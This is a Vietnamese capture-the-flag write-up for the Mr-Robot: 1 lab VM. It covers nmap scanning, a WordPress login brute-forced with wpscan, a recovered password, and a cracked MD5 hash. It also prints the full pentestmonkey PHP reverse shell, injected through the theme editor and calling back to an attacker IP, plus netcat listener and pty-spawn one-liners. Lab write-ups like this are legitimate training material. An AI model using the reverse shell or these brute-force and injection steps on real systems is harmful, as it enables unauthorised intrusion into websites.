Thực hành exploit máy chủ Mr.Robot

Thực hành exploit máy chủ Mr.Robot

Author: usserr

Table of contents

No heading

No headings in the article.

About Release

Name: Mr-Robot: 1

Date release: 28 Jun 2016

Author: Leon Johnson

Series: Mr-Robot

Description

Based on the show, Mr. Robot.

This VM has three keys hidden in different locations. Your goal is to find all three. Each key is progressively difficult to find.

The VM isn't too difficult. There isn't any advanced exploitation or reverse engineering. The level is considered beginner-intermediate.

Link Download

Here


Xin chào các bạn, đã rất lâu rồi mình không ra bài mới và hiện tại để kỷ niệm ngày thất nghiệp thì mình đã quay trở lại, và hôm nay là một bài lab dựa trên một TV Series nổi tiếng về giới yang hồ internet đó là Mr.Robots, okay ta sẽ cùng bắt đầu thôi :)) Gét gô

Sau khi set up máy ảo Kali, máy ảo Mr.Robot xong thì ta sẽ chạy cùng lúc 2 máy ảo này lên (và nhớ phải để 2 máy ảo này chạy trong cùng 1 mạng) và bắt đầu thu thập thông tin thôi.

Đầu tiên thì ta cần biết IP của target đã, và 2 máy này do nằm chung mạng thì ta cứ sử dụng nmap để scan mạng xem sao

nmap 10.0.0.0/24 - Để scan dải mạng

scan_network.png

Scan xong thì thấy có cái địa chỉ IP: 10.0.0.129 đây chính là IP target của chúng ta, và nó có mở port 80 và 443 cho dịch vụ http và https -> ta có thể sử dụng trình duyệt để truy cập

Scan kỹ hơn bằng nmap xem sao ha

nmap_scan.png

Kết quả

PORT    STATE  SERVICE  VERSION
22/tcp  closed ssh
80/tcp  open   http     Apache httpd
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache
443/tcp open   ssl/http Apache httpd
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after:  2025-09-13T10:45:03
|_http-server-header: Apache
MAC Address: 00:0C:29:CB:21:3C (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   1.57 ms 10.0.0.129

Có các port 80,443 như ở trên, cả port ssh cơ mà nó bị đóng r, và có lẽ ta sẽ không cần sử dụng tới dịch vụ này

Mở trình duyệt và truy cập vào IP này ta thấy 1 trang web khá ngầu, và nó cho phép ta sử dụng 1 số command nhất định

home.png

Ờm, tưởng có gì hay nhưng mà thử đi thử lại vẫn không có gì khả quan lắm ở 6 cái command này, hoặc có thể do mình gà

View Source thì cũng chả thấy gì hay ho lắm, ngoại trừ việc biết rằng website này làm từ wordpress

Sử dụng dirsearch để bruteforce url xem có bị lộ file gì nhạy cảm không thì có thấy file robots.txt,wplogin có vẻ hay ho ở đây

dirseach.png

Ờm, sau khi biết về sự tồn tại của rotbots.txt rồi thì chắc chắn phải thử rồi, vào đó ta sẽ có được flag đầu tiên (flag 1/3) và 1 file fsocity.dic (file này khả năng là thư viện để bruteforce). Down file key về để lấy flag đầu tiên các bạn nhé :33

Tiếp đó thì ta sẽ target tới trang đăng nhập, đoạn này thì chắc kèo bruteforce rồi vì tự dưng được cho cái fsocity.dic kia để làm gì :))

Sử dụng wpscan để bruteforce thôi :)))

wpscan --url http://10.0.0.129/wp-login.php -U /home/kali/Downloads/fsocity.dic -P /home/kali/Downloads/fsocity.dic -t 50 Cơ mà sau khi nhìn cái tool chạy số tổ hợp tận 12 con số :)) thì mình nghĩ là làm này nohope :> phải tìm cách khác thôi, sau đấy thì mình lên google tìm thấy 1 bài writeup, ông này dùng hydra để check đc user name đúng đó là Elliot

okay, vậy thì ta sẽ bruteforce lại với username:elliot và oke, số lần test đã giảm đi rất nhiều, giờ thì chờ thôi :))

Sau khoảng 2000 năm thì cuối cùng cũng ra được cái passelliot:ER28-0652

wpscan.png

Oke, vậy là ta đã vào đc admin panel, đến đoạn này mình lại stuck tiếp, và mình đã quyết định nghỉ giải lao, rồi chút vào làm tiếp.

Và sau khi nghỉ ngơi, mình vào check tiếp về cơ bản giờ đang nghĩ tới hướng reverse shell bởi vì ta có thể toàn quyển edit code php mà :)) oke vào Appearance và chọn vào Editor sau đấy bạn có thể inject code php reverse shell bất kỳ nào mà bạn muốn vào và tìm cách execute nó, mình thấy file 404.php hợp lý nhất vì nó nhanh nhất :))

oke giờ sử dụng netcat ở máy linux nc -lnvp 9999

còn đây là shell.php, mình lấy từ trên mạng


  <?php
  // php-reverse-shell - A Reverse Shell implementation in PHP
  // Copyright (C) 2007 pentestmonkey@pentestmonkey.net

  set_time_limit (0);
  $VERSION = "1.0";
  $ip = '10.0.0.128';  // You have changed this
  $port = 9999;  // And this
  $chunk_size = 1400;
  $write_a = null;
  $error_a = null;
  $shell = 'uname -a; w; id; /bin/sh -i';
  $daemon = 0;
  $debug = 0;

  //
  // Daemonise ourself if possible to avoid zombies later
  //

  // pcntl_fork is hardly ever available, but will allow us to daemonise
  // our php process and avoid zombies.  Worth a try...
  if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();

    if ($pid == -1) {
      printit("ERROR: Can't fork");
      exit(1);
    }

    if ($pid) {
      exit(0);  // Parent exits
    }

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
      printit("Error: Can't setsid()");
      exit(1);
    }

    $daemon = 1;
  } else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
  }

  // Change to a safe directory
  chdir("/");

  // Remove any umask we inherited
  umask(0);

  //
  // Do the reverse shell...
  //

  // Open reverse connection
  $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
  }

  // Spawn shell process
  $descriptorspec = array(
    0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
    1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
    2 => array("pipe", "w")   // stderr is a pipe that the child will write to
  );

  $process = proc_open($shell, $descriptorspec, $pipes);

  if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
  }

  // Set everything to non-blocking
  // Reason: Occsionally reads will block, even though stream_select tells us they won't
  stream_set_blocking($pipes[0], 0);
  stream_set_blocking($pipes[1], 0);
  stream_set_blocking($pipes[2], 0);
  stream_set_blocking($sock, 0);

  printit("Successfully opened reverse shell to $ip:$port");

  while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
      printit("ERROR: Shell connection terminated");
      break;
    }

    // Check for end of STDOUT
    if (feof($pipes[1])) {
      printit("ERROR: Shell process terminated");
      break;
    }

    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
      if ($debug) printit("SOCK READ");
      $input = fread($sock, $chunk_size);
      if ($debug) printit("SOCK: $input");
      fwrite($pipes[0], $input);
    }

    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
      if ($debug) printit("STDOUT READ");
      $input = fread($pipes[1], $chunk_size);
      if ($debug) printit("STDOUT: $input");
      fwrite($sock, $input);
    }

    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
      if ($debug) printit("STDERR READ");
      $input = fread($pipes[2], $chunk_size);
      if ($debug) printit("STDERR: $input");
      fwrite($sock, $input);
    }
  }

  fclose($sock);
  fclose($pipes[0]);
  fclose($pipes[1]);
  fclose($pipes[2]);
  proc_close($process);

  // Like print, but does nothing if we've daemonised ourself
  // (I can't figure out how to redirect STDOUT like a proper daemon)
  function printit ($string) {
    if (!$daemon) {
      print "$string
";
    }
  }

  ?>

Và ta đã có thể RCE được rồi re.png

Và sau đó ta sẽ đi lục lọi trong các thư mục xem có gì không và tìm thấy file key2home/robot cơ mà ta không thể xem được, vì chỉ owner mới đc xem thôi, nhưng file password.raw-md5 đã cho ta username:md5(password) -> ta decode mã hash xem để có thể lấy đc password user robot

md5_decode.png

À mà bạn có thể upgrade terminal bằng cách sử dụng python với câu lệnh sau

python -c 'import pty; pty.spawn("/bin/bash")'

Decode xong ta được username, password là robot:abcdefghijklmnopqrstuvwxyz Đăng nhập và đọc key 2 nào

key2.png

Còn key3 thì mình xin chịu :))